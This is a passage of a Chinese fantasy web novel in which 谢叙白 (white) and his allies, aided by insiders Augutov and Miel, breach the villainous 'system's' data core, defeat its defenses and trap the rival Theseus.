“简直是强壮先生!” 不知怎么的,就拐到各自的名字上,争论不休。 名字包含着亲人殷切的盼望,是伤感的话题,他们聊着聊着抽噎起来,眼眶通红含泪。 奥古托夫连忙劝慰,没几句后,又见孩子们自强地擦干眼泪,突发奇想要给他取名。 这似乎是学校约定俗成的潮流,不同洲区的孩子们会给朋友取昵称,方便认人。 于是在他们沸沸扬扬的讨论声里,奥古托夫荣幸认领“牛大壮”的中文昵称。 此昵称由一位叫牛壮壮的小朋友倾情贡献,为了沾光,将来长得和奥古托夫一样高大。 眼下就有顽皮的孩子啪叽抱上奥古托夫的大腿,用被淋湿小狗般的眼神,湿漉漉可怜巴巴地望着他:“先生,您可以抱一下我吗?那一定很酷,求您了。” 奥古托夫立马手脚无措起来。 他曾了解过福利院的孩子,那些孩子被束缚带捆绑在婴儿床上,从保育员到志愿者都不允许将哭闹的孩子抱起来哄,这不是虐待,是杜绝他们对拥抱产生依赖。 然而他紧张地四下一扫,发现white早已席地坐在被阳光晒得暖烘烘的草坪上,十几个小萝卜头将他围拥,几乎趴在他的身上。 white笑笑用精神力捏出活灵活现的金色玩偶,每人一只,被孩子们眯着眼睛舒服惬意地抱在怀里。 奥古托夫忍不住意念传音:【这样做真的好吗?】 万一让孩子们产生依赖…… 却见white抬起头,对上他的眼睛,认真至极地问:“奥古托夫,你认为这样的生活会一直持续下去吗?” 奥古托夫还未回答,孩子们先七嘴八舌极有士气地叫嚷起来。 “不!不会!” “先生,再等一等,等我们长大后,就可以帮你们一起对付坏人了,我每天都吃两碗饭,长得很快的。” “是的,我们一定能把坏人都赶跑!打败可恶的系统!赢下游戏!救回爸爸妈妈爷爷奶奶外公外婆,拯救所有人!” “当然。”white应着他们稚嫩却坚定的誓言,温柔微笑,孩子们手中的金色玩偶扬起手臂,在他们脑袋上温柔地摸摸,“你们是世界的未来,如果有一天大人们倒下,你们也不能放弃希望。” “不放弃!” “坚决不放弃!” 奥古托夫怔愣地看着,这里的孩子都曾失去血亲,但在他们的眼里没有映出沉重的阴霾。 是因为他们还小吗?不…… 【奥古托夫,你曾经问我是否憎恨这个世界。】 white的意念于此时传达至奥古托夫的脑海里,郑重其事。 【而现在,我也想问你,你是否愿意为赢下游戏倾注全力乃至于你的灵魂,让心怀仇怨的孩子们,重新爱上这个世界?】 奥古托夫的嘴唇抖颤起来。 血液再度沸腾,心跳躁动加速,迎着人造太阳的光辉,他看见white翻开一个孩子递上来的故事书,释放精神力,用温和磁性的嗓音,将那跌宕起伏的英雄传说娓娓道来。 一只小黑章鱼慢吞吞地从white的影子里爬出来,趁小触手不注意,将其甩出几十米远,占据青年的怀抱,偏着脑袋认真聆听。 青年注意到了,皱着眉头不赞同地戳戳章鱼脑袋,将激愤跑回来的小触手捞进怀里,柔声细哄。 其他吵闹的孩子也逐渐安静下来,有的直接靠在青年的身上,昏昏欲睡。工作人员轻车熟路地拿来小毯子,盖在孩子们的身上。 和煦暖风拂过,吹动奥古托夫的发梢,他看见眼前恬静安宁的一幕,冷不丁想起一个词,伊甸园。 原来他所追寻的伊甸园不是传说,就在眼前。 奥古托夫忽然抬起脚掌,在鼓噪到震耳欲聋的心跳声里,在天空和大地的见证下,走到white,眼神注目。 信仰由此迸发,从未有过的坚决。 white似乎感应到什么,半晌,伸出手。 奥古托夫从善如流地牵起青年的指尖,弯俯腰背,郑重虔诚地亲吻他的手背:“奥古托夫.布拉达克.安东尼奥,愿发誓效忠首领。” “如果我今后背叛,就令我的灵魂在圣火中焚烧,不得安息——” 他终于知道这股冲动到底是什么。 【传说古神生命力极强,即使肉身被摧毁,力量被禁锢,也能复活卷土重来。】 【所以尊贵的首领,请您务必要相信。即便我粉身碎骨,即便我沉沦地狱,仅剩这百分之一的灵魂,我也将为您冲锋陷阵,所向无敌。】 第270章 成神进度:99% 黑塔三十层。 乌云奔涌,雷鸣震耳,泰坦神族的威压在爬满阴翳的高空涤荡不休。 奥古托夫的突然出现,无疑给僵持不下的局面带来翻天覆地的转变。 听见系统气急败坏的咒骂,许多以为他早已叛变的人不免震惊,尤其是之前劈头盖脸指责谢叙白的莫克议长。 “难道第五使徒没有背叛?” “他们在演苦肉计?” “噢!其实我早就预料到了,white不可能犯下这么低级的错误,谁知道莫克议长那么冲动,拦都拦不住。” 这群人,刚才还和他一样对着谢叙白口诛笔伐,现在变脸改口一个比一个快。 莫克议长被他们的不要脸刺激得太阳穴突突直跳,脸色青白交错。 几乎在这瞬间,巅峰的核心精英技术组成员开始行动。 以组长为基点,几十道精神力鱼贯而出、交织成网,伴随着五爪金龙威势骇然的咆哮声,强势冲破系统的压制,精准连接上奥古托夫微弱的神力指引。 整个行动迅速、熟练,整齐划一,仿佛千万次厉兵秣马就是为了这一时刻。 当连接定位真的构建成功时,刹那间宛如拨开迷雾见天明,系统那瘆人冰冷的凝视,突然清晰鲜明到无法忽视。 系统暴露了! 就如此前计划的那样,深入系统数据库的奥古托夫,从内部为他们打开了一条口子,现在他们可以通过这一条内部链路,直接锁定系统的主程序! 意识到这点的莫克议长心脏狂跳。 扭头一看,好家伙。 不少顶尖组织已经行动起来,速度快得像是未卜先知——显然他们也是隐秘计划的知情人。 换作平时,被排除在外的莫克一定忍受不了这种隐瞒,会大骂他们的狡诈和不信任,强烈要求信息共享。 但现在他什么都顾不上,转头对着部将急吼下令:“技术组所有成员立马向巅峰申请接入作战频道,辅助他们的技术人员搭建进攻路线!只要找到系统的主程序就全力开火,不要留手,后勤防卫时刻注意掩护和净化精神污染!” 不需要指挥,所有玩家以最快的速度对暴露本体的系统前后夹击。 力量的光辉纵横交错,宛若一座架起来的攻城炮,炮口高竖,亮起灼热瘆人的火光—— 轰! 天幕开裂! 猩红紊乱的数据流从破口倾泻而下,宛若天空在受伤淌血。 同样的场面,他们在上一世的最终决战前夕就惊现过。 那次是谢叙白玉石俱焚,才让系统暴露本体。而这一次,沉淀了无数轮回的血泪悲痛,玩家准备得更周全,觉悟更深,视死如归。 这将是一场势不可挡的复仇,和对故土文明的捍卫! —— 泰坦族的神力赐福穿过猩红数据流,降临在谢叙白的身上。 外人恐怕很难想象,陷入水火之中仅剩百分之一灵魂的奥古托夫,还能驱使契约神祇,为谢叙白降下赐福。 谢叙白仿佛能听见奥古托夫在耳边毕恭毕敬地喊了一声“首领”,下一秒对方的声音变得模糊,越来越远,像是沉入无底的深渊,又什么都听不见了。 他骤然张嘴,欲要喊出什么,下一秒呼吸刹止,话猝然哽在涌上腥甜血液的喉咙口。 脚下的影子连忙蹿出,接住谢叙白踉跄前扑的身体。 力量积攒到一定程度,便是质的飞跃。 在汹涌的力量冲刷下,谢叙白的全身血液如岩浆般升温沸腾,顷刻间细胞已经完成几十次更迭换代,耳畔不停响起杂乱的爆鸣声,那是筋骨肌肉在迅速重组。 他往前趔趄一步,单是这么一个小小的动作爆发的气压,便碾得地块开裂。 成神进度99%! 但因为谢叙白这一世不是自然修炼成神,借助外力强行提升,必有弊端,晋升过程如洗精伐髓,痛苦难熬。 眼下,他需要用尽毕生力气,才不至于昏迷过去。 第二使徒米埃尔见状,知道这是离开的最好时机,弯眸告别:“再会,white。” “弥赛亚”是系统按照谢叙白的原始数据,捏造出来的拟态躯壳。 而在附身到这具躯壳上之后,长达几辈子的融合时间,也让米埃尔的灵魂受到了一定程度的污染。 但同时,他也阴差阳错地拥有了无限游戏的内部身份。 换句话说,米埃尔也能像奥古托夫那样,从系统内部打开一道口子,为玩家实时定位。 别看明面上系统一直停在空中,实际上它的方位在虚空外不停跳跃变化。 没有内鬼的定位,还真不行。 至于系统这边。 其实它早就发现,自己准备用来陷害谢叙白的躯壳被米埃尔截胡了。 然而那又怎么样? 人类的劣根性贯穿古今,它已经在前来投敌的玩家中见识过太多例子。 或许有人一开始是假意背叛表面逢迎,但最后都会抵抗不住心中的恶念和贪欲,腐坏扭曲。 就算心理能抵抗得住,那么生理本能呢? 除却神级玩家拥有强大的精神屏障,又有多少人能免疫认知篡改? 亲弟乌鸦是米埃尔跨不过的私心,正如同乌鸦也会因为亲哥遭到冷落和不公,变得愤恨歪曲。 一旦污染开始,米埃尔的堕化几乎是板上钉钉。 如同第九、十、十一使徒,如同第五使徒奥古托夫。 极高的投敌率,铸就了系统的自负自大。 掌控他人生杀予夺的优越感,叫它气焰滔天,不知收敛。 系统断定米埃尔会背叛,断定能拿捏住只剩百分之一灵魂的奥古托夫,所以它不仅没有阻止,还乐见其成。 现下便是孽债自偿。 本体暴露,系统遭到惨烈打击,但它也不是蠢货,反应过来后,气势汹汹地启用了“杀毒软件”,将“奥古托夫”标记为病毒,展开猛烈追杀! 显然系统很清楚,比起应对玩家的集火进攻,不如先解决提供定位的第五使徒。 —— 同为“内部数据”的米埃尔,能隐约感知到奥古托夫的识念,正在“杀毒程序”的清洗下消散。 奥古托夫将自己化作一支重锤,撞开系统的大门,又撑抵住门扉,不让它闭合,供玩家顺利出入。 眼下这根支柱即将断裂,自然需要用新的补上。 米埃尔决定取代奥古托夫。 他将用这种方式为弟弟赎罪。 玩家的集火依旧猛烈,天穹下震耳欲聋的炸响不绝,盖过阵阵雷鸣。 强风卷席着爆炸的硝烟味,拂过米埃尔散碎的金发,掠过他微微闭上的眼睫。 风声将思念吹远,跨越时间长河,穿过飘摇风雨,盘旋落入当年那座温情祥和的庄园,母亲高兴的笑声在耳边响起。 【米埃尔,快看!这就是你的弟弟了,我和你的父亲决定让你来为他取名字。】 米埃尔眼皮一掀,眸色锐利,催动拉裴尔的火焰剑。 乌鸦发出撕心裂肺的惨叫,灵魂中漆黑斑驳的精神污染,被剑中圣火付之一炬! …… 年幼的米埃尔站在母亲的面前,好奇地打量蜷缩在襁褓里的小家伙。 小家伙正在酣睡,眼睛紧紧地闭上,两只拳头攥紧,像肉乎乎的白色小馒头,呼吸带动胸口一起一伏。 乌鸦的出生相当坎坷,因为母亲受到惊吓,提前生产,导致心脉受损,戴着呼吸器在医院的育婴箱里治疗了将近小半年时间。 米埃尔试探性地伸出手,小心地戳了戳小家伙的手,指尖反馈过来的触感相当柔软。 岂料小家伙似乎被惊动,紧闭的眼皮颤了颤,嘴巴委屈地一瘪。 母亲倒吸一口气,对父亲齐齐露出大事不妙的眼神。 米埃尔之前去医院探望母亲,见过其他病床上的婴儿睡不安稳,接连发出阵仗翻天的哭喊。 那哭声尖锐得如同魔音穿耳,给他带来不小的刺激。 仿佛情景再现,看着要哭不哭的乌鸦,米埃尔大脑一片空白。 他太过慌张,完全忘记收回自己的手指,僵硬如石块。 谁想到小家伙竟然没哭,小手一挥,精准地抓住了他的手指。 那张皱巴巴的小脸倏然展开,嘴不瘪了,也不哭了,就这么安安稳稳地抱住米埃尔的手指,急促的呼吸逐渐安稳。 仿佛米埃尔对他来说是可以信赖的依靠,他不再不安,所以不需要再哭。 通过父母讶异的目光,米埃尔隐隐明白了这是件多么不可思议的事情。 他试探性地收回手,但小家伙不放手,微弱的力道顽强不舍地拉扯住他,诠释着毫无保留的喜爱和依赖。 血脉相连的感觉是如此奇妙,那一刻,米埃尔竟然也不再害怕伤害到小家伙。 他俯下身。 婴儿身上传出源源不断的热意,微弱的心音咚咚打鼓,震颤在他的掌心,柔软的皮肤像羽毛那般轻盈。 这个柔软的小生命,出生就坎坷多舛。在育婴箱和ICU之间辗转,皮肤苍白无力,浸透医院消毒水的味道,差一点没能活下来。 就在那瞬间,米埃尔张口轻唤。 “彼得.潘……” “我想给他取名叫彼得。” 【亲爱的弟弟彼得,我希望你天真活泼,勇敢无畏,生活快乐无忧,就像动画片中永远不会长大的小男孩,彼得.潘。】 …… 没有停顿,米埃尔将乌鸦清洗干净后的灵魂封进火焰剑,又将火焰剑安置在拉裴尔的体内。 拉裴尔于半空中展现出模糊的神体,六翼翅膀徐徐扇动,白羽飘落犹如垂泪。 祂哀悯地凝视自己去意已决的眷属,发出悲痛无力的长叹,最终选择成全眷属的意愿,降下最后的赐福。 可也是米埃尔放松意志,准备融入系统数据库的瞬间,一根金色线条像锁链般死死套住他的手腕。 米埃尔半边身体已经数据化,心脏一颤,猛然回头看向谢叙白。 他知道white没有那么容易倒下,却没想过谢叙白能扛着晋升的煎熬,一心两用。 不,准确来说是一心多用! 就在玩家攻打系统主程序的枪林弹雨中,米埃尔竟然看见了【白色幽灵(谢叙白分魂)】的影子! 变故发生在转瞬间,米埃尔想要将谢叙白推出去,已经来不及了。 主动数据化的他,顷刻间就被系统自动回收进数据库。 而谢叙白也顺着捆在他魂体上的精神力,实现计划中的暗度陈仓,同步抵达数据库。 放眼望去,一览无余,这就是个被数据流占据的深红炼狱。 金色线条当即分成三股,一股继续捆住米埃尔,一股冲向系统的主程序,还有一股在猩红数据流中大海捞针,全速搜寻第五使徒的识念。 【我说过会带你们回去。】谢叙白疲累忍痛的喘气声,通过精神链接传达到米埃尔的脑海,【一个都不能少。】《 》 270-275 第271章 成神进度:99% 稳定的坐标锁定既已建成,那么战斗也正式步入白热化! 系统本体悬在几万里,像颗肉瘤,在暴风骤雨的攻击中被拍扁搓圆,骤然爆开,哗啦啦—— 形似黏稠血液的扭曲代码喷涌而出,大股大股地坠入荒原,刺目的血色溅满每个人的视野。 【杀了他们!】 在系统暴跳如雷的指示下,新的污染物从黝黑裂缝里源源不断地爬出。 它们身上裹带着滚烫的岩浆,火星四溅,灼焦泥土,像地狱里爬出来的怨魂,乍然一看起码上万只。 形势危急,但没人后退。 作战频道里充斥着各大顶级公会掌权人声嘶力竭的号令,前线战士高举武器杀红双眼,后勤医疗组的治疗技能没有片刻停止。 直播间外上亿名观众双目赤红,呼朋唤友动用一切关系,将最后一点积分余额挤出来,投入正在奋战的主播身上。 每一秒都有人倒下,又有人咬着牙关目眦欲裂艰难爬起,而后青筋暴跳跨步上前,从那精疲力竭、筋肉跳痛、痉挛抽搐的身体里榨干最后一丝力气。 这是漫长而艰辛的一战。 但随着时间的推进,玩家们明显感觉得到。 ——“天”破了。 那面沉重得叫所有人都喘不过气的障碍,那层始终笼罩在他们头顶的阴霾,它不再如铁桶般无懈可击。 巅峰会长震声高喊:“趁现在!” 电光火石间,谢叙白将所有分散的精神体回收,凝结在一起,力量层层累加,直达巅峰。 猩红暮色中,金光爆发出灼目璀璨的光辉,如旭日高升,径直盖过系统数据流的猩红血色,照亮黑塔内外数万里焦土。 谢叙白一举冲垮了系统溃散的第二道防御! —— 和玩家们在秘密会议中预料的大差不离,系统的拟态参考自人类社会,而它的数据库,也是基于互联网上现有的“数据仓库”这一概念而建成的。 此概念模型,从外到内分为三大层。 最外部是【应用层(映像后投入客户使用)】。 中间是【公共层(汇总信息数据并进行分析)】 最核心在【引入层(储存原始数据)】。 等同于有三个分层,三道防御。 米埃尔助谢叙白暗度陈仓,跨过第一道防御,抵达应用层。 众人的火力突击让谢叙白顺利冲跨第二道防御,来到公共层。 只要谢叙白再突破最后一道防御,就能拿到系统的核心数据。 —— 如果说外面是九死一生的战场,那么这里毫无疑问是群魔乱舞的炼狱。 流淌在这里的代码字符,是活的怪物,凶残程度完全不亚于半神级污染物。 这里没有边界,和外面比,数量更不是一个量级,往往都是几亿十几亿地扑杀过来,触目所及全是血盆大口,利齿如荆棘丛生,寸步难行。 眼看它们将要啃到谢叙白的身上,邪神的触手从谢叙白脚下的影子钻出。 邪神威压如海啸当头,瞬间倾轧几千里。八根粗壮的触手如撑开的钢铁伞面,将这些扑上来的利齿尖牙通通抽碎! 其中一根则灵巧地抽离出来,紧密地贴着谢叙白保驾护航。 一半数据流被触手挡下,另一半从缝隙中漏出,不依不饶发出尖叫,继续扑杀飞驰的金光。 却见血雾迸发,露出谢叙白矫健清瘦的身姿,面色冷厉,丝毫不减进势,抬手召出火神阿耆尼的仙杖,翠绿玉杖衬出指节苍白劲瘦。 唰一下,熊熊火焰自杖身腾升而起,只见他猛力一挥,将前方的数据流尽数击散,火浪涌窜直达百丈高! 那火焰为青橙色,是谢叙白在红阴古镇修炼出来的琉璃火,不止能斩杀妖邪,还会涤净秽根,遏止这些代码怪物死而复生。 刹那间尖叫沸起,怪物奔逃,烈烈火光映照出满地焦躯残肢。 【谢叙白!!】系统暴怒威胁,【同样的招数你用过一次,死过一次,再来一次也无济于事!】 谢叙白面不改色,持杖如持利刃,转身一下烈火贯空,将扑上来的代码怪物洞穿湮灭! 他低声恳求:“请诸神助我——” 刹那间,金龙现出神体,发出骇人声浪。 酒神藤蔓蜿蜒生长,破开血色迷障。 黑山羊幼崽于暗黑世界抬头,投来缄默危险的凝视。 死神现出神体,桀桀大笑着当空挥舞下锋利的镰刀! ——诸神响应着数亿信徒的意志,为谢叙白开辟道路。 数据库空间在无数神力的冲击下震荡颠簸,地动山摇! 如果说系统什么时候最慌张胆寒,那必定是现在。 特别当最后一道防御在谢叙白的攻势下摇摇欲坠,眼看着将被攻破,它终于再也忍耐不下去,紧急召唤污染物回援。 外面的人还在与污染物激烈鏖战,陡然间手里一松,难掩震惊。 再一抬头,所有的污染物纷纷化作一串串扭曲的数据飞上云端,像溪流回归大海,没入系统本体曝露出来的开口。 这部分数据流自然来到了谢叙白的面前。 系统似乎意识到,在众神的倾力庇护下,单纯的怪海战术根本阻止不了谢叙白,来得再多也是切菜。 于是这些怪物扭头就对同类露出了血盆大口。 它们不是传统意义上的怪物,吞吃速度特别迅速,转眼间只剩下一头巍峨屹立在原地,身量巨大宛若开天,严严实实地挡住谢叙白的去路! 谢叙白下意识挥动仙杖,却只在这庞然大物的躯壳上留下一道浅淡的印子。 系统猖狂大笑。 地动山摇中,那无法抗衡的巨物自面部凝出一颗硕大的眼睛,眼眶中又滚出几百上千颗眼球,密密麻麻挤在一起,是系统能动用的全部力量集合体。 它们阴毒地盯着谢叙白,如同蔑视着不自量力的蝼蚁,暴喝声在空间震出回音:【死吧——!】 巨物的大掌灌风拍下,空气凝缩到极致爆出尖锐气鸣,谢叙白的衣摆在风浪中猎猎起舞,清瘦身躯如枯枝独立。 他突然分出一道精神体。 精神体化为金色流光,融入仙杖高燃的烈火。同时谢叙白闷哼一声,嘴角溢出鲜血,大颗冷汗顺着鬓角淌落。 他手中的仙杖跟着一反常态,青橙交杂的琉璃火几何倍暴涨,炼化为纯净金焰! 如果系统有人的表情,此刻应当是笑容凝滞,惊愕无比。 【你献祭了自己的精神体?你忘记自己的灵魂已经碎裂过一次吗?你,不——】 轰! 谢叙白再举仙杖,抡圆借势,如皓月凌空,动作看似缓慢却快到一瞬之间。金焰迸发骇人之威,将巨物破开一长道狰狞血口,飞出一泼数据字符碎屑! 系统没有痛觉,却能感受到死亡的阴影扼住咽喉,恐惧比剧痛更胜一筹,令它惨叫出声。 一击中,仙杖杖身黯淡下来,火焰恢复青橙色的常态。 然而半秒不到,谢叙白再次祭出一道分魂。 剧痛下他咬破唇皮,齿尖染血,浑身肌肉痉挛哆嗦,但抓住仙杖的手从始至终稳若泰山,不偏不倚凌厉挥出,正中刚才的血口,皲裂肉绽,直至将其拦腰捣断! 巨物倒地,天塌地陷,系统发出撕心裂肺的惨叫,溃散的猩红数据流纷纷被卷入乍然开裂的空间漩涡。 一阵天翻地覆后,喧闹的世界回归岑寂。 整个数据库空间依旧沉闷压抑,但前方霍然开朗,只剩一星半点的数据字符,瑟瑟发抖地蜷缩在地缝里。 没有什么再能阻止谢叙白。 谢叙白咽下满口血沫,持杖挺身向前。 他穿过满地焦躯残骸,趟过溃散的数据乱流,来到系统的核心区域,看见了一颗心脏。 心脏不是真的心脏,是系统核心数据降维后的具象化。心脏表皮横肉鼓胀,青筋收缩,仿佛为即将到来的处决惊恐无比。 谢叙白伸出开裂出血的手掌,将它用力地捏在手里。 血光突然暴起,似乎想要抵抗,终究不敌金光的压制,偃旗息鼓。 谢叙白成功与奄奄一息的系统构建起精神链接,海量数据扑面而来,冲进他的意识海。 他从中找到了奥古托夫残存的意识,也找到了失踪玩家被关押囚困的意识本体。 如果他现在杀死系统,这些数据化的灵魂也会一并消散。 谢叙白当机立断地选择了另一条路。 ——通关无限游戏。 米埃尔的记录【9】已经随着他的数据化而作废,所幸他们还有记录【8】严岳。 赢下这场试炼,严岳就是记录【9】,再下一场试炼就能达成记录【10】。 而顺着和系统建立起来的精神链接,谢叙白也终于挖出记录【10】会重开的真相。 原来,玩家每次一有机会达成记录【10】,系统都会设下一面包裹住整个副本的封闭屏障,令无限游戏的结算系统无法读取到玩家的胜利记录。 其性质相当于通关的时候,被系统突然掐断了网线。 这种上升至游戏规则的耍赖,玩家根本无从察觉和辨别,就这么一脚踩进系统步下的陷阱,一次次重演循环。 如果想要正常通关游戏,他们必须解开这层屏障。 但问题是,关于如何破解屏障的这部分数据,居然丢失了。 谢叙白以为系统又在耍诈,目光一冷,金焰自掌心燃起,炙烤系统的心脏。 系统当即又是一阵惨叫。 【是忒修斯,那混蛋不仅偷走了这部分数据!还摧毁了数据备份!】 谢叙白一顿。 他想起之前的几个疑问。 为什么系统对忒修斯忌惮至此,中途甚至不惜违反规则,也想要了忒修斯的命。 又为什么忒修斯有恃无恐,笃定自己必将有求于他。 ——如此也就说得通了。 如果破除封闭屏障的办法,是忒修斯最后的依仗,那么可以预见忒修斯不会轻易地将这法子告诉他。 该怎么拿到? 谢叙白的思绪千回百转,很快有了计较。 当着系统的面,他故意打开自己的精神壁障,卖了个显而易见的破绽。 系统已经穷途末路,即使知道谢叙白有诈,也没得选,只能一搏。 已经过去很长时间。 外面的玩家不清楚数据库里的争斗,通通凝神静气,屏住呼吸,等待希望降临,又或者闸刀落地。 直至谢叙白安然无恙的嗓音,通过精神链接传达到他们的脑海。 他们一时间甚至不敢相信,直至各大顶级组织轮番检验谢叙白就是本人。 刹那间,无数人嘴唇哆嗦,双眼通红,极致的惊喜充斥脑海,有人直接捂着脸痛哭出声。 通往黑塔第三十一层的传送阵在硝烟弥漫的大地打开,无数精疲力竭的玩家彼此搀扶,迫不及待跨步进入。 系统提示音适时响起。 【叮!恭喜玩家通关本次试炼!】 第272章 光暗(上) 水墨空间。 随着系统宣布试炼结束,异变突起。 原本和凉亭差不多大小的利齿巨鱼,忽一下膨胀到挤占半个湖泊。水位如海啸掀起,直线攀升几十米,呼啦冲刷上谢叙白两人的鞋底! 当巨鱼兴奋地张开血盆大口,刹那间又是令人心惊胆战的一幕。 只见空间震动如抖筛,视野颠簸不停。 以巨鱼猛张的嘴为中心,整个湖泊水流猛然倒灌,形成湍急汹涌的漩涡。 里面一圈圈尖牙利齿紧凑排列,像是无数柄钢刀倒插在漩涡里,尖锐瘆人,反射寒光,直接将落下去的石块搅成碎末! …… 按照规则,输掉棋局的人会被丢进湖里喂鱼。 而忒修斯在躲避球项目里损失掉“老板”,又在黑塔第一层被谢叙白宴朔两人齐力解决“分魂”,统共比谢叙白少掉两枚棋。 就算加上最后破开副本空间壁障的那一枚,也还是少一枚,他的战败已成定局。 规则如期降临,忒修斯座下的八枚黑棋逐一分解。 裂纹从棋子底部蔓延至顶端,啪一声炸碎成渣。 然后是第两枚,第三枚…… 失去支撑点,被托举的椅子疯狂摇晃,仿佛下一秒坐在上面的人就会一个不稳摔下去,粉身碎骨! 这么大的阵仗,就算是个尸体也能给它震诈尸了,忒修斯自然也装睡不下去。 但迫使他睁眼的原因,不是破碎欲垮的空间,不是虎视眈眈的巨鱼,更不是规则引来的死亡。 忒修斯的目光拧成一线,直勾勾地盯着对面的谢叙白,像一支淬满剧毒的箭,愤恨的嗓音从牙关中挤出来,掉着冰渣。 “谢叙白……你是不是以为这世上的所有事都能如你所愿?” “如果不是你疏忽大意刚愎自用!让系统盗取你的灵魂数据,那个垃圾玩意根本就控制不了我!现在我摆脱了它的掌控,你居然还妄想用它对付我?可笑!可笑——!” 大多数玩家见识过系统有多么棘手,就算谢叙白潜入核心数据库,没有立时除掉系统,他们也不会怀疑什么。 但忒修斯不同。 他太了解谢叙白了。 怒声高昂间,忒修斯一掌拍在棋桌上。 玉石震碎,冲击座下,还在缓慢消失的黑棋轰然化为齑粉。 忒修斯脚下一空,没有半点停顿,整个人宛若断线的风筝,从高空笔直地坠向巨鱼的猩红大嘴,猖狂笑声贯穿疾风。 “向那七十七亿个死人忏悔去吧!!” 然而,就在忒修斯大笑着即将葬身鱼腹之时,耳边忽然传来的嗓音叫他猝然一僵。 “抱歉,我必须拿到解开封闭屏障的密钥。” 那语调坚定且不容置疑,覆盖住温润宽和的底色,甚至到了冷漠无情的地步,只要听过一次就再也不可能认错。 忒修斯回头,正对上谢叙白的脸,不敢置信。 他现在输掉棋局,是规则要杀他。 作为胜方的谢叙白理论上会被排除在外,不可能插手进来。 ——至少刚与系统激烈鏖战而精疲力竭的谢叙白,不应该还有这种破除规则的余力。 直到忒修斯看见谢叙白手里握着的一团猩红数据流,瞳孔一缩。 那是【弥赛亚】。 准确点来说,是名为“弥赛亚”的【人造躯壳】。 作为阴谋的一环,系统不仅没能用它顺利陷害谢叙白,还一时大意,让它成为谢叙白入侵系统核心数据库的跳板,简直是贻笑大方。 所有人都没将它放在眼里,乃至于忽略了一个关键问题。 ——系统原本给这副躯壳定下的操控者,是谁? 谢叙白注视着脸色瞬变的忒修斯。 答案显而易见。 没人比忒修斯更适合扮演他,去污败他的名声。 崇尚着物尽其用的系统,也不可能放过一个现成的“傀儡”。 换句话说,“弥赛亚”本该是忒修斯行走在玩家群体中的身份! 谢叙白捏着猩红数据流,金光自掌心大绽,拂过巨鱼口腔的每一个角落,照亮根根高耸的獠牙。 他嗓音从温暖鎏金的光晕中焕发而出,平铺直叙却如高山屹立,重重地砸在忒修斯的心头。 “既然系统直接掌控着你,只要一个念头就能把你塞进这具人造躯壳,又哪儿来的机会让人中途截胡?” “偏偏这截胡的还不是普通玩家,是契约了治愈天使拉斐尔的第二使徒,换成其他人,都抵挡不住系统的精神污染。” “没有这么凑巧的事情,那么就只剩下一种可能。不是第二使徒歪打正着,是你故意将‘弥赛亚’让给了他。” 想象一下吧。 如果操控弥赛亚的人不是第二使徒,而是拥有谢叙白大部分记忆的忒修斯,会发生什么事? 谢叙白作为最终计划的执行者,对前线玩家的意义非同寻常,其本身存在的意义,不亚于号令三军的虎符。 但这些相随、并肩者,多都经过无数次轮回的冲击,记忆逐渐模糊,又在不断遭受亲人战友离世背叛的打击,神经早已绷成一根紧颤的弦。 他们将为谢叙白赴滔倒火,肝脑涂地,在所不辞。 同时也会用刁钻毒辣尖刻怀疑的目光,将谢叙白摆在高处,审视上一遍又一遍。 是风声鹤唳,草木皆兵,容不下一丝污点。 这样紧张的气氛下,不说忒修斯将谢叙白的形象演出十成十,哪怕仅有七八分像,动摇了那些追随者的信念,那么使徒、巅峰、以及那几个早生嫌隙的顶尖组织,很难有机会再像今天这样联合起来。 但忒修斯暗中出手让谢叙白逃过一劫,不是什么良心未泯。 纯粹是想看系统和谢叙白斗个你死我活、两败俱伤,所以不希望任何一方独大。 特别是系统。 如果系统诬陷谢叙白的阴谋得逞,造成的一系列连锁反应让玩家翻不了身,那意味着局势会变得一发不可收拾,忒修斯将彻底沦陷为系统的奴隶,没有翻身的可能。 此外,还有一个原因。 一个忒修斯绝对不愿承认的原因。 谢叙白:“你就那么抗拒扮演我么?” 忒修斯猛一抬头,对上谢叙白那双充满怜悯的眼睛,居高临下仿佛在俯视一粒尘埃,刹那间全身血液好似被冰冻住。 刺痛。 羞辱。 眩晕,窒息。 心跳越来越快,呼吸也越来越重。宛若点燃引线火星飞窜,轰一下爆炸声起,熊熊大火直冲忒修斯的脑海。 他知道谢叙白是故意刺激他,可这瞬间他控制不住。 他要谢叙白死,死!死——! 汹涌杀意传开,沉寂在谢叙白掌心的数据流被惊动,登时红光暴涨。 谢叙白垂睫。 他知道自己得逞了。 “弥赛亚”既然是系统为忒修斯量身打造的躯壳,里面必定施加了某种针对忒修斯的限制。就像给战马装上马鞍铁蹄,最后也会套上控制它的缰绳。 从忒修斯能够和猩红数据流两相呼应来看,或许从始至终他就没有摆脱掉这副躯壳,只是用某种方法,勉强抵抗住了系统的强制附身指令。 而现在,情绪失控的忒修斯,显然是抵抗不住了。 忒修斯狰狞怒吼着扑向谢叙白,两手屈起如鹰钩,直取他的咽喉:“去死吧!!” 谢叙白抬头,原地不动,红光自他掌心的数据流放射而出,照见忒修斯目眦欲裂血痂凝结的脸。 骤然间,其中生出一股强劲的引力,掀起呼啸飓风,一瞬间就把忒修斯吸了进去。 人不见了,还在等投喂的巨鱼嘎巴一下,张嘴咬了个空。 它茫然抬头,回过味来,敢怒不敢言地拿尾巴疯狂拍打湖面,浪花四溅。 却见高空中那道清瘦的身影——疑似害它饿肚子的罪魁祸首谢叙白,忽然化作一团淡金色光晕,和忒修斯一样被红光吸入数据流的内部。 此后整个水墨空间再无人影。 只有被鱼尾掀起的湖水漫天洒落,淅淅沥沥,留下一片沉寂。 …… 一阵漫长的颠簸过后,谢叙白再次睁眼。 他发现自己身处于一个四四方方狭窄逼仄的房间。 大理石地砖光滑锃亮,头顶白炽灯散发黯淡的微光,眼前是一面和墙壁等大的镜子,映照出他模糊的身体轮廓。 布置很简洁,简洁到除了这些东西,什么都没有。墙壁洁白无瑕,一股冷清孤寂的气息扑面而来。 “你知道这里是什么地方吗?” 谢叙白扭头看向声源处。 就在房间的角落,一道影子坐在那里,周身被浓郁黏稠的黑暗包裹,像团化不开的沥青。 他用嘶哑尖锐的嗓音询问谢叙白:“你知道自己在干什么吗?” 那道影子就是忒修斯。 从他的语气里,仍旧听得出来对谢叙白浓烈的愤恨和杀意。 但更多的,是一种无以为继的疲惫。 谢叙白看着他,突然风马牛不相及地点道:“这里的时间流速和外界不一样。” 如果忒修斯上一秒还叫嚣着要杀了他,下一秒就能放下杀欲,安静地坐在角落和他“心平气和”地交谈,那未免也太割裂了一点。 除非在他接踵进入数据流内部前,忒修斯早已经历过什么事,又或者度过了一段相当漫长的时间。 